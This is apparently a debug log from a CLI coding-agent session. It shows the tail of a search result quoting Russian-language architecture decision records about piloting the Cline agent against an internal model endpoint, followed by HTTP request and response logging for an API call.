\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n30:[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool \u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n47:2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n50:5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n----\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:42:\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:43:- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:193:\u251c\u2500\u2500 runs/                          # \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:281:\u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:314:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f. \u041e\u0442\u0447\u0451\u0442 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0441\u044b\u0440\u044b\u043c\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:345:\u0434\u043e\u043c\u0435\u043d\u0435. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e `ba-ai-playbook` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:366:| \u0425\u0440\u0430\u043d\u0438\u0442\u044c debug-\u0441\u0435\u0441\u0441\u0438\u0438 \u043a\u0430\u043a `runs/DEBUG-*` | \u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e: \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043e\u0446\u0435\u043d\u043a\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:26.039Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:26.039Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:26.039Z] [INFO]   }\n[2026-09-29T07:55:26.039Z] [INFO] }\n[2026-09-29T07:55:26.100Z] [STDOUT] [log_c7edce] sending request {\n[2026-09-29T07:55:26.103Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:26.107Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:26.113Z] [STDOUT]   options: {\n[2026-09-29T07:55:26.116Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:26.120Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:26.123Z] [STDOUT]     body: {\n[2026-09-29T07:55:26.131Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:26.134Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:26.136Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:26.138Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:26.145Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:26.149Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:26.153Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:26.158Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:26.166Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:26.169Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:26.172Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:26.185Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:26.190Z] [STDOUT]     },\n[2026-09-29T07:55:26.192Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:26.194Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:26.201Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:26.207Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:26.209Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:26.214Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:26.220Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:26.230Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:26.248Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:26.260Z] [STDOUT]     },\n[2026-09-29T07:55:26.264Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:26.269Z] [STDOUT]   },\n[2026-09-29T07:55:26.275Z] [STDOUT]   headers: {\n[2026-09-29T07:55:26.285Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:26.293Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:26.299Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:26.310Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:26.324Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:26.342Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:26.365Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:26.369Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:26.373Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:26.380Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2021\",\n[2026-09-29T07:55:26.392Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:26.402Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:26.409Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:26.414Z] [STDOUT]     \"x-client-request-id\": \"106ab3cc-f6aa-43d4-9552-8984c0833a4a\",\n[2026-09-29T07:55:26.449Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:26.459Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:26.462Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:26.465Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:26.470Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:26.473Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:26.483Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:26.488Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:26.497Z] [STDOUT]   },\n[2026-09-29T07:55:26.501Z] [STDOUT] }\n[2026-09-29T07:55:26.890Z] [STDOUT] [log_c7edce, request-id: \"req_011CfXNX5mm4Z2XzrTDFFD5p\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 797ms\n[2026-09-29T07:55:26.896Z] [STDOUT] [log_c7edce] response start {\n[2026-09-29T07:55:26.899Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:26.901Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:26.917Z] [STDOUT]   headers: {\n[2026-09-29T07:55:26.927Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:26.950Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:26.968Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:26.974Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:26.978Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:26.982Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:26.983Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:26.986Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:26.989Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:26.995Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:26.999Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:27.004Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:27.007Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:27.009Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.013Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:27.021Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:27.024Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:27.026Z] [STDOUT]     \"cf-ray\": \"a4296cf02d405d90-FRA\",\n[2026-09-29T07:55:27.030Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:27.033Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:27.040Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:27.045Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:27.049Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:26 GMT\",\n[2026-09-29T07:55:27.053Z] [STDOUT]     \"request-id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:27.057Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:27.061Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:27.064Z] [STDOUT]     traceresponse: \"00-0f5c6208658c7ea7869515dfac79f31e-30c9eca027ffde48-01\",\n[2026-09-29T07:55:27.066Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:27.068Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:27.071Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:27.073Z] [STDOUT]   },\n[2026-09-29T07:55:27.075Z] [STDOUT]   durationMs: 797,\n[2026-09-29T07:55:27.077Z] [STDOUT] }\n[2026-09-29T07:55:27.080Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:27.084Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:26 GMT\",\n[2026-09-29T07:55:27.087Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:27.089Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:27.092Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:27.098Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:27.102Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:27.105Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:27.107Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:27.110Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:27.112Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:27.116Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:27.119Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:27.122Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:27.126Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:27.138Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:27.145Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:27.157Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.160Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:27.163Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:27.167Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:27.171Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:27.174Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.178Z] [STDOUT]   \"request-id\": 